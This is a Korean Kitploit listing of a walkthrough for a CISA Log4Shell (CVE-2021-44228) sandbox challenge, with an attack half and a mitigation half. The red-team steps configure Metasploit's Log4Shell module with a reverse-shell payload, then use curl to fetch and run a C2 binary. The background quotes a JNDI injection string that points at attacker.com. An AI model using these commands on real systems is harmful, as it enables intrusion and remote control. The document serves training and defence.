Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Sandbox-Challenge-Log4Shell-CVE-2021-44228- — CISA Log4Shell 샌드박스 챌린지에 대한 단계별 설명으로, Metasploit을 통한 공격적 익스플로잇과 JNDI-be-gone Java 에이전트를 사용한 방어적 완화를 다룹니다. | Kitploit
도구/GitHubGitHub/felisha-elmer/sandbox-challenge-log4shell-cve-2021-44228-
Defensive ToolsVulnerability AnalysisExploitationPenetration TestingLearning & EducationRed TeamingIncident ResponseLabs & Practice

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
felisha-elmer/sandbox-challenge-log4shell-cve-2021-44228-

Sandbox-Challenge-Log4Shell-CVE-2021-44228-

CISA Log4Shell 샌드박스 챌린지에 대한 단계별 설명으로, Metasploit을 통한 공격적 익스플로잇과 JNDI-be-gone Java 에이전트를 사용한 방어적 완화를 다룹니다.

저장소 보기
63개월 전아직 검토되지 않음

Sandbox Challenge: Log4Shell (CVE-2021-44228)

개요

이 워크스루는 CVE-2021-44228, 일반적으로 Log4Shell로 알려진 취약점에 대한 CISA Threat Sandbox Challenge를 완료하기 위해 수행한 단계를 문서화합니다. 이 챌린지는 격리된 샌드박스 환경 내에서 DasMSP라는 가상의 IT 관리형 서비스 제공업체(MSP)를 대상으로 두 가지 목표(레드팀(공격)과 블루팀(방어))를 완료하는 것으로 구성되었습니다.

참고: 이 워크스루의 명령어와 파일 경로는 이 환경에서 수행된 특정 단계를 반영합니다. 사용자 환경은 IP 주소, 파일 위치, 도구 가용성 등이 다를 수 있습니다. 구성에 맞게 명령어를 조정하십시오.


배경

CVE-2021-44228은 Apache Log4j Java 로깅 프레임워크의 특정 버전에 영향을 미치는 치명적인 원격 코드 실행(RCE) 취약점(CVSS 10.0)입니다. 이 취약점은 Log4j의 JNDI 조회 기능에서 발생하며, ${jndi:ldap://attacker.com/exploit}와 같은 특수 제작된 문자열을 Log4j가 기록하는 모든 데이터에 주입하여 트리거할 수 있습니다. 공격자가 취약한 애플리케이션이 악성 문자열(일반적으로 HTTP 헤더를 통해)을 기록하도록 할 수 있다면, Log4j는 공격자가 제어하는 서버에 연결하여 임의 코드를 실행합니다.

Log4Shell은 2021년 12월 10일에 CISA의 알려진 악용 취약점(KEV) 카탈로그에 추가되었으며, 2021년과 2022년 모두 최상위 정기 악용 취약점 합동 권고에 등장했습니다.


환경

머신IP
Security-Desk<Security-Desk-IP>
Red Target<Red-Target-IP>
Blue Target<Blue-Target-IP>

두 대상 시스템 모두 Linux이며, 영향을 받는 Log4j 버전을 사용하는 취약한 Java 웹 애플리케이션(dasmsp.jar)을 실행합니다.


사용된 도구

  • Metasploit Framework (exploit/multi/http/log4shell_header_injection)
  • curl
  • Python3 HTTP Server
  • SSH
  • SCP
  • systemctl
  • nano

레드팀 목표: Red Target에 C2 리스너 배포

1단계 — Metasploit 실행

Security-Desk에서 터미널을 열고 Metasploit을 실행했습니다:

root@kitploit:~
msfconsole

2단계 — Log4Shell 모듈 검색

브리핑에 제공된 모듈 경로가 설치된 버전과 일치하지 않았습니다. 올바른 모듈을 검색했습니다:

root@kitploit:~
search log4shell

올바른 모듈 식별: exploit/multi/http/log4shell_header_injection.

3단계 — 익스플로잇 구성

root@kitploit:~
use exploit/multi/http/log4shell_header_injection
set RHOSTS <Red-Target-IP>
set RPORT 80
set SRVHOST <Security-Desk-IP>
set PAYLOAD java/shell_reverse_tcp
set LHOST <Security-Desk-IP>

4단계 — 익스플로잇 실행

root@kitploit:~
run

Metasploit이 자동으로 여러 HTTP 헤더에서 Log4Shell 취약점을 테스트했습니다. Red Target이 여러 헤더(Authorization, Cache-Control, User-Agent, X-Forwarded-For 등)에서 취약한 것으로 확인되었습니다. Red Target에 명령 셸 세션이 열렸습니다.

5단계 — 셸 액세스 확인

Red Target에서 루트 수준 액세스를 확인했습니다:

root@kitploit:~
id

출력: uid=0(root) gid=0(root) groups=0(root)

6단계 — deploy_c2 전송 및 실행

deploy_c2 바이너리는 Red Target이 아닌 Security-Desk에 있었습니다. 대상에서 wget이나 직접 경로 참조를 사용할 수 없었습니다. Security-Desk에서 두 번째 터미널을 열고 Python을 통해 파일을 제공했습니다:

root@kitploit:~
cd ~/Desktop/Resources
python3 -m http.server 8080

Red Target의 Metasploit 셸 세션으로 돌아가서 바이너리를 다운로드하고 실행했습니다:

root@kitploit:~
curl http://<Security-Desk-IP>:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2

출력: Done!

✅ Red Target에 C2 리스너 배포 확인 완료.


블루팀 목표: Blue Target에서 CVE-2021-44228 완화

사용된 완화 방법은 NCC Group이 개발한 log4j-jndi-be-gone-standalone.jar Java 에이전트로, 기본 애플리케이션에 패치를 적용하지 않고 런타임에 JNDI 조회 동작을 패치합니다. 이 에이전트에 대한 자세한 내용은 NCC Group 연구 블로그에서 확인할 수 있습니다.

1단계 — Blue Target에 Java 에이전트 전송

Security-Desk 터미널에서 SCP를 사용하여 Java 에이전트 JAR 파일을 전송했습니다:

root@kitploit:~
scp ~/Desktop/Resources/log4j-jndi-be-gone-standalone.jar playerone@<Blue-Target-IP>:/tmp/

2단계 — Blue Target에 SSH 접속

root@kitploit:~
ssh playerone@<Blue-Target-IP>

3단계 — 서비스 유닛 파일 편집

root@kitploit:~
sudo nano /etc/systemd/system/dasmsp.service

ExecStart 줄을 찾아 -javaagent 플래그를 추가했습니다:

변경 전:

root@kitploit:~
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -jar /opt/dasmsp.jar

변경 후:

root@kitploit:~
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -javaagent:/tmp/log4j-jndi-be-gone-standalone.jar -jar /opt/dasmsp.jar

Ctrl+O → Enter → Ctrl+X로 저장했습니다.

4단계 — 서비스 다시 로드 및 재시작

root@kitploit:~
sudo systemctl daemon-reload
sudo systemctl restart dasmsp

✅ Blue Target에서 CVE-2021-44228 완화 확인 완료.

도구 다운로드